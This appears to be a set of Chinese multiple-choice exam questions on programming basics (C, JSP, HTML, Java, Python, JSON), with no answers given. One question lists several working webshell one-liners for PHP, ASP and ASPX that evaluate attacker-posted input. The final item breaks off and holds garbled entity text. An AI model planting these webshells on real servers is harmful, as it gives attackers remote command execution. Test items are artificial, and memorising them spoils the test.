合法的数组定义是（ ）。 A: int a[]="Language"; B: int a[5]={0,1,2,3,4,5}; C: char a="C Program"; D: char a[]="C Program Language.";

在JSP中，以下的page指令设置了使用的脚本语言是Java，且导入了java.rmi.*和java．util．*包．正确的是 。 A: ＜%@ page language="Java" import="java.rmi.* ,java.uitl.* "%> B: ＜%@ page language="Java"; import="java.rmi.*;java.uitl.*"%> C: ＜%@ page language="Java" Import="java.rmi.*,java.uitl.*"%> D: ＜%@ page Language="Java",import="java.rmi.*;java.uitl.* "%>

需要在 html 页面上引用脚本文件myJs.js，下列语句中，正确的是？( ) A: ＜script language="javascript" src="myJs.js" type="text/javascript" ＞＜/script＞ B: ＜script language="javascript" href="myJs.js" type="text/javascript" /＞ C: ＜script language="javascript" src="myJs.js" type="text/javascript" /＞ D: ＜script language="javascript" href="myJs.js" type="text/javascript" ＞＜/script＞

"As much as a dominant language can be more inclusive, it can also be divisive and exclusionary." can be translated as "优势语既具是包括的又是分别排他的". A: 正确 B: 错误

下列哪个为php一句话木马的代码？ A: <?php @eval($_POST['chopper']);?> B: <%eval request("chopper")%> C: <?php @system($_POST['chopper']);?> D: <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>

Word中插入数学公式的方法是（）。 A: "插入"→"形状"→"公式" B: "开发工具"→"公式" C: "插入"→"公式"→"插入新公式" D: "引用"→"插入"→"公式"

定义并初始化一个用于存放我们国家的四个直辖市的数组cityName，四个直辖市为：北京，上海，天津，重庆. 正确的是_________ A: String[] cityName=new String[4]{"北京","上海","天津","重庆"}; B: String[] cityName=new String[]{"北京","上海","天津","重庆"}; C: String[] cityName={"北京","上海","天津","重庆"}; D: String cityName = new String[4] { "北京", "上海", "天津", "重庆" };

已知有一个名为names的空列表,如何向其中添加old_driver,rain,jack,shanshan,peiqi,black_girl 元素？ A: names.append("old_driver","rain","jack","shanshan","peiqi","black_girl") B: names.extend("old_driver","rain","jack","shanshan","peiqi","black_girl") C: names.insert("old_driver","rain","jack","shanshan","peiqi","black_girl") D: names.extend(["old_driver","rain","jack","shanshan","peiqi","black_girl"])

以下哪个选项是正确的json数据格式： A: { "id": 2, "userName": admin, "passWord": 12345, "email": admin@qq.com} B: { id: 2, userName: "admin", passWord: "12345", email: "admin@qq.com"} C: { "id": 2, "userName": "admin", "passWord": "12345", "email": "admin@qq.com",} D: { "id": 2, "userName": "admin", "passWord": "12345", "email": "admin@qq.com"}

把一个JSON格式数据赋给变量color：color = &quot色彩":[ &quot暖色":[&quot红",&quot橙",&quot黄"], &quot冷色":[&quot青",&quot蓝"], &quot中性色":[&quot紫",&quot绿",&quot黑",&quot灰",&quot白"] ]以下能够取到冷色“[&quot青",&quot蓝"]”的是哪一个选项？_